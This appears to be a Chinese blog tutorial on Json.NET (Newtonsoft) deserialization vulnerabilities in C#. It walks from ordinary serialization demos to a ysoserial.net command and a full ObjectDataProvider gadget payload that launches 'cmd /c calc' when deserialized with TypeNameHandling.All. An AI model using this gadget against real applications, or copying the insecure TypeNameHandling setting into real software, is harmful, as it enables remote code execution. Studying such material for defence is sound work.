json .net 反序列化

引用链接

https://www.cnblogs.com/nice0e3/p/15294585.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB
https://www.anquanke.com/post/id/172920#h3-3

json.net 序列化

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using Newtonsoft.Json;

namespace jsonser
{
    public class Testclass
    {
        private String classname;
        private String name;
        private int age;

        public string Classname { get => classname; set => classname = value; }

        public string Name { get => name; set => name = value; }

        public int Age { get => age; set => age = value; }

        public override string ToString()
        {
            return base.ToString();
        }

        public static void Classmethod(String value)
        {
            Console.WriteLine(value);
        }



    }
    class Program
    {
        static void Main(string[] args)
        {
            Testclass testclass = new Testclass();
            testclass.Name = "xuan";
            testclass.Age = 18;
            testclass.Classname = "360";
            String testString = JsonConvert.SerializeObject(testclass);
            Console.WriteLine(testString);
        }
    }
}

image.png
在Newtonsoft.Json中使用JSONSerializer可以非常方便的实现.NET对象与Json之间的转化,JSONSerializer把.NET对象的属性名转化为Json数据中的Key,把对象的属性值转化为Json数据中的Value,如下Demo,定义TestClass对象并有三个成员,Classname在序列化的过程中被忽略(JsonIgnore),此外实现了一个静态方法ClassMethod启动进程。 序列化过程通过创建对象实例分别给成员赋值,
这里需要引用Newtonsoft.Json才可以使用 JsonConvert
Json字符串中并没有包含方法ClassMethod,因为它是静态方法,不参与实例化的过程
image.png

SerializeObject 第二个参数

为了尽量保证序列化过程不抛出异常,需要引入 SerializeObject方法的第二个参数并实例化创建JsonSerializerSettings,下面列出属性

image.png

 static void Main(string[] args)
        {
            Testclass testclass = new Testclass();
            testclass.Name = "xuan";
            testclass.Age = 18;
            testclass.Classname = "360";
            String testString = JsonConvert.SerializeObject(testclass, new JsonSerializerSettings
            {
                NullValueHandling = NullValueHandling.Ignore,
                TypeNameHandling = TypeNameHandling.All,
            }
             ); 
            Console.WriteLine(testString);
        }
    }

image.png

json .net 反序列化

反序列过程就是将Json字符串转换为对象,通过创建一个新对象的方式调用JsonConvert.DeserializeObject方法实现的,传入两个参数,第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种

image.png

默认情况下设置为TypeNameHandling.None,表示Json.NET在反序列化期间不读取或写入类型名称。具体代码可参考以下

  string payl = "{ \"$type\":\"jsonser.Testclass, jsonser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\",\"Classname\":\"360\",\"Name\":\"xuan\",\"Age\":18}";

            Object obj = JsonConvert.DeserializeObject<Testclass>(payl, new JsonSerializerSettings { TypeNameHandling= TypeNameHandling.None });
            Type t1 = obj.GetType();
            PropertyInfo pro1 = t1.GetProperty("Name");
            Object obj1 = pro1.GetValue(obj, null);
            Console.WriteLine(obj1.GetType());

image.png

ObjectDataProvider

漏洞的触发点也是在于TypeNameHandling这个枚举值,如果开发者设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞,为此官方文档里也标注了警告,当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。

使用yso生成
ysoserial.net:https://github.com/pwntester/ysoserial.net

ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

payload

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
 string json = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";

            Object obj2 = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.All
            });
            Console.WriteLine(obj2);
            
        }

image.png

如果对于JsonConvert.DeserializeObject 进行了 类型转化 可能会不成功,需要关注的点在于 序列化和反序列化的 TypeNameHandling 的值是否为null

posted @   jbxz  阅读(188)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)
点击右上角即可分享
微信分享提示